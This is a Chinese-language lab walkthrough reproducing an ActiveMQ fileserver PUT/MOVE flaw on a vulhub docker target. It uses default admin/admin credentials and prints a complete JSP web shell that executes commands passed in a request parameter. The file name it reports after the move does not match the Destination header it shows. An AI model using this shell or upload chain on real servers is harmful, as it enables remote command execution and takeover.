0x00 实验环境
攻击机:Win 10
靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)
0x01 影响版本
未禁用PUT、MOVE等高危方法的ActiveMq版本(可自行尝试)
0x02 漏洞复现
(1)实验环境:docker运行的vulhub漏洞环境首先,可直接访问到页面的显示为:
(2)使用默认弱口令:admin/admin即可登录至后台:(注:没有密码无法写shell)
(3)访问目录信息泄露页面可获取ActiveMq安装目录:
http://ip:8161/admin/test/systemProperties.jsp
(4)在/fileserver/路径下可使用PUT方法直接上传小马:
上传成功,可直接写入小马:
<%@ page import="java.io.*" %> <% try { String cmd = request.getParameter("cmd"); Process child = Runtime.getRuntime().exec(cmd); InputStream in = child.getInputStream(); int c; while ((c = in.read()) != -1) { out.print((char)c); } in.close(); try { child.waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } } catch (IOException e) { System.err.println(e); } %>
上传成功:
(5)由于此目录并不解析,故需要将小马上传至别的可解析的目录下,在请求http://X.X.X.X:8161/fileserver/2.txt的页面进行抓包,然后在请求包内增加重定向的指令:
Destination:file:///opt/activemq/webapps/api/test.jsp
(6)使用MOVE方法移动至别的目录下,移动成功将返回204:
靶机内也多了一个——2.jsp文件
(7)即可执行任意命令
0x03 实验原理
详细分析请查看:
https://www.secpulse.com/archives/60064.html
个人总结:ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,需要禁用危险的HTTP方法